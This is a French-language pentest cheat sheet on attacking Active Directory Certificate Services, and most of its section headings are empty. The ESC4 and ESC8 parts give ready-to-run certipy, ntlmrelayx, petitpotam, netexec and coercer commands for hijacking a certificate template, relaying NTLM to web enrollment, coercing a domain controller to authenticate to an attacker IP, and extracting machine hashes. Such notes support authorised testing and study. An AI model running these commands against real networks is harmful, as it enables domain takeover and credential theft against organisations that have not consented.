ADCS

ESC1

ESC2

ESC3

ESC4

L’exploitation d’ESC4 se fait par l’exploitation d’un template de certificat avec des ACL faibles. Une fois ESC4 exploité, il est possible de basculer sur une exploitation classique de ESC1.

# Modifie le certificat pour le rendre exploitable à ESC1
certipy template -u "$USER" -p "$PASSWORD" -dc-ip $DC_IP -template $TEMPLATE -save-old 

L’option -save-old permet de sauvegarder le certificat d’origine sur le poste de l’attaquant.

Restauration du certificat
certipy template -u "$USER" -p "$PASSWORD" -dc-ip $DC_IP -template $TEMPLATE -configuration $TEMPLATE_JSON

ESC5

ESC6

ESC7

ESC8

L’objectif de l’attaque ESC8 est de relayer un utilisateur vers le “web enrollment” d’ADCS. Il y a donc plusieurs prérequis à la bonne exécution de l’exploitation :

  • Présence d’un environnement ADCS
  • Présence du web enrollment
  • Utilisateur avec les droit de requêter des certificats auprès de l’ADCS.

La vérification des prérequis peut être effectué à l’aide de la commande certipy :

# Avec des identifiants
certipy find -u foo -p 'bar' -dc-ip $DC_IP -enabled

# Ou via le proxy socks de ntlmrelayx
ntlmrelayx -t ldaps://$DC_IP -smb2support -socks
proxychains -q certipy find -u "$USER@$DOMAIN" -p "" -dc-ip $DC_IP -enabled 

Si certipy identifie un template vulnérable à ESC8, il est possible de faire une attaque par relay, via certipy ou ntlmrelayx.

certipy relay -target $CA_DNS -template "$VULNERABLE_TEMPLATE"
ntlmrelayx -t "http://$CA_DNS/certsrv/certfnsh.asp" -smb2support --adcs --template "$VULNERABLE_TEMPLATE"

Quelque soit la technique, il est nécessaire d’avoir une requête à relayer, idéalement celle d’un Active Directory. Cette action peut s’effectuer à l’aide d’outil tel que petitpotam, netexec ou coercer.

# Non authentifié
petitpotam.py "$ATTACKER_IP" "$DC_HOST"
# Authentifié
petitpotam.py -d "$DOMAIN" -u "$USER" -p "$PASSWORD" "$ATTACKER_IP" "$DC_HOST"
nxc smb "$DC_IP" -u '$USER' -p '$PASS' -M coerce_plus -o LISTENER=$ATTACKER_IP
nxc smb "$DC_IP" -u '$USER' -H '$NT_HASH' -M coerce_plus -o LISTENER=$ATTACKER_IP
coercer coerce -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --listener "$ATTACKER_IP" --target-ip "$DC_HOST" --always-continu

Le fichier PFX généré par certipy, une fois le coercion effectuée, peut être utilisé pour s’authentifier.

certipy auth -pfx $PFX_NAME.pfx -dc-ip $DC_IP -domain $DOMAIN

Avec cette commande, nous obtenons normalement le hash correspondant à l’utilisateur ou la machine qui a été relayé. Celui-ci peut être utilisé par des outils tels que secretsdump, netexec, etc.

Ressources :